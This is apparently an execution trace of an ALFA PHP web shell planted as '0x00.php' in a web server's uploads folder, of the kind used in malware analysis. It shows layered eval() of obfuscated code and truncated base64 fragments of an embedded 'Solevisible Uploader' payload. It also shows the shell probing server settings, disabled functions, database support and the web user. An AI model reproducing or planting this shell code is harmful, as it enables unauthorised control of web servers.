4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 701 GLOBALS['need_to_update_header'] = 'false'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 702 GLOBALS['glob_chdir_false'] = FALSE
5 55 0 0.057365 3764784 alfaGetCwd 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 708 0
6 56 0 0.057379 3764784 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 555 1 'getcwd'
6 56 1 0.057394 3764824
6 56 R TRUE
6 57 0 0.057406 3764784 getcwd 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 556 0
6 57 1 0.057420 3764832
6 57 R '/var/www/html/uploads'
5 55 1 0.057435 3764832
5 55 R '/var/www/html/uploads'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 708 GLOBALS['cwd'] = '/var/www/html/uploads'
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 716 ['cwd'] .= '/'
5 58 0 0.057479 3764832 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 717 1 'sys_get_temp_dir'
5 58 1 0.057495 3764872
5 58 R TRUE
5 59 0 0.057507 3764832 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 718 1 'sys_get_temp_dir'
5 59 1 0.057522 3764872
5 59 R TRUE
5 60 0 0.057535 3764832 sys_get_temp_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 718 0
5 60 1 0.057550 3764872
5 60 R '/tmp'
5 61 0 0.057563 3764872 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 718 3 '\\' '/' '/tmp'
5 61 1 0.057578 3764968
5 61 R '/tmp'
5 62 0 0.057592 3764872 is_writable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 718 1 '/tmp'
5 62 1 0.057616 3764912
5 62 R TRUE
5 63 0 0.057630 3764840 sys_get_temp_dir 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 718 0
5 63 1 0.057644 3764872
5 63 R '/tmp'
5 64 0 0.057657 3764872 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 718 2 'ALFA_TEMPDIR' '/tmp'
5 64 1 0.057673 3764976
5 64 R TRUE
5 65 0 0.057689 3764904 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2207 1 'posix_getpwuid'
5 65 1 0.057704 3764944
5 65 R TRUE
5 66 0 0.057717 3764904 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2209 1 'posix_getgrgid'
5 66 1 0.057731 3764944
5 66 R TRUE
5 67 0 0.057744 3764904 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2267 1 'scandir'
5 67 1 0.057759 3764944
5 67 R TRUE
5 68 0 0.057776 3764904 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 5970 1 'json_encode'
5 68 1 0.057795 3764944
5 68 R TRUE
5 69 0 0.057808 3764904 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 6012 1 'json_decode'
5 69 1 0.057824 3764944
5 69 R TRUE
5 70 0 0.057837 3764944 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 6328 1 'alfaFilesMan2'
5 70 1 0.057854 3764984
5 70 R TRUE
4 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 6329 _POST['a'] = 'FilesMan2'
5 71 0 0.057882 3765320 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 6332 1 'alfaFilesMan2'
5 71 1 0.057897 3765360
5 71 R TRUE
5 72 0 0.057911 3765280 alfaFilesMan2 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 6333 0
6 73 0 0.057925 3765280 alfahead 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2368 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 720 GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 721 $alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
7 74 0 0.058000 3767072 __ZW5jb2Rlcg 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 722 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
8 75 0 0.058029 3767072 GzAJUHyu 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
9 76 0 0.058057 3767096 base64_encode 0 /var/www/html/uploads/0x00.php 14 1 '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
9 76 1 0.058086 3769688
9 76 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
8 75 1 0.058116 3769656
8 75 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
7 74 1 0.058145 3769656
7 74 R 'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
7 77 0 0.058176 3769656 define 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 722 2 'ALFA_UPLOADER' 'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
7 77 1 0.058205 3769760
7 77 R TRUE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 774 _POST['charset'] = NULL
7 78 0 0.058238 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 775 1 'diskfreespace'
7 78 1 0.058253 3769728
7 78 R TRUE
7 79 0 0.058266 3769688 diskfreespace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 775 1 '/var/www/html/uploads/'
7 79 1 0.058286 3769720
7 79 R 206461337600
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 775 $freeSpace = 206461337600
7 80 0 0.058316 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 776 1 'disk_total_space'
7 80 1 0.058331 3769728
7 80 R TRUE
7 81 0 0.058344 3769688 disk_total_space 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 776 1 '/var/www/html/uploads/'
7 81 1 0.058361 3769720
7 81 R 232015802368
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 776 $totalSpace = 232015802368
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 777 $totalSpace = 232015802368
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 778 $on = '<span class=\'header_on\'> ON </span>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 779 $of = '<span class=\'header_off\'> OFF </span>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 780 $none = '<span class=\'header_none\'> NONE </span>'
7 82 0 0.058447 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 781 1 'ssh2_connect'
7 82 1 0.058462 3769728
7 82 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 784 $ssh2 = '<span class=\'header_off\'> OFF </span>'
7 83 0 0.058490 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 785 1 'curl_version'
7 83 1 0.058505 3769728
7 83 R TRUE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 786 $curl = '<span class=\'header_on\'> ON </span>'
7 84 0 0.058533 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 789 1 'mysql_get_client_info'
7 84 1 0.058548 3769728
7 84 R FALSE
7 85 0 0.058561 3769688 class_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 789 1 'mysqli'
7 85 1 0.058576 3769728
7 85 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 792 $mysql = '<span class=\'header_off\'> OFF </span>'
7 86 0 0.058610 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 793 1 'mssql_connect'
7 86 1 0.058624 3769728
7 86 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 796 $mssql = '<span class=\'header_off\'> OFF </span>'
7 87 0 0.058651 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 797 1 'pg_connect'
7 87 1 0.058670 3769728
7 87 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 800 $pg = '<span class=\'header_off\'> OFF </span>'
7 88 0 0.058698 3769688 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 801 1 'oci_connect'
7 88 1 0.058712 3769728
7 88 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 804 $or = '<span class=\'header_off\'> OFF </span>'
7 89 0 0.058739 3769688 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 805 1 'disable_functions'
7 89 1 0.058755 3770168
7 89 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
7 90 0 0.058780 3769688 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 806 1 'disable_functions'
7 90 1 0.058795 3770168
7 90 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 806 $disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
7 91 0 0.058839 3770136 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 809 1 'safe_mode'
7 91 1 0.058854 3770168
7 91 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 812 $safe_modes = '<span class=\'header_on\'>OFF</span>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 813 $cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
7 92 0 0.058897 3770136 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 814 1 'open_basedir'
7 92 1 0.058913 3770168
7 92 R ''
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 821 $open_b = '<span class=\'header_none\'> NONE </span>'
7 93 0 0.058940 3770136 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 822 1 'safe_mode_exec_dir'
7 93 1 0.058955 3770168
7 93 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 825 $safe_exe = '<span class=\'header_none\'> NONE </span>'
7 94 0 0.058983 3770136 ini_get 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 826 1 'safe_mode_include_dir'
7 94 1 0.058998 3770168
7 94 R FALSE
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 829 $safe_include = '<span class=\'header_none\'> NONE </span>'
7 95 0 0.059026 3770136 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 830 1 'posix_getegid'
7 95 1 0.059041 3770176
7 95 R TRUE
7 96 0 0.059054 3770136 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 837 1 'posix_getpwuid'
7 96 1 0.059069 3770176
7 96 R TRUE
7 97 0 0.059081 3770136 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 837 1 'posix_geteuid'
7 97 1 0.059095 3770176
7 97 R TRUE
7 98 0 0.059108 3770136 posix_geteuid 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 837 0
7 98 1 0.059123 3770136
7 98 R 33
7 99 0 0.059135 3770136 posix_getpwuid 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 837 1 33
7 99 1 0.059176 3770968
7 99 R ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 837 $uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
7 100 0 0.059224 3770936 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 838 1 'posix_getgrgid'
7 100 1 0.059241 3770976
7 100 R TRUE
7 101 0 0.059253 3770936 function_exists 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 838 1 'posix_getegid'
7 101 1 0.059268 3770976
7 101 R TRUE
7 102 0 0.059281 3770936 posix_getegid 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 838 0
7 102 1 0.059295 3770936
7 102 R 33
7 103 0 0.059307 3770936 posix_getgrgid 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 838 1 33
7 103 1 0.059336 3771600
7 103 R ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 838 $gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 839 $user = 'www-data'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 840 $uid = 33
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 841 $group = 'www-data'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 842 $gid = 33
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 844 $cwd_links = ''
7 104 0 0.059438 3770216 explode 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 845 2 '/' '/var/www/html/uploads/'
7 104 1 0.059455 3770824
7 104 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 845 $path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 846 $n = 6
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 847 $i = 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 848 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 849 $cach_cwd_path = ''
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j = 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 854 $cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 847 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 848 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 849 $cach_cwd_path = ''
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j = 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= 'var/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 854 $cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 847 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 848 $cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 849 $cach_cwd_path = ''
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j = 0
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 851 $cwd_links .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 852 $cach_cwd_path .= '/'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 850 $j++
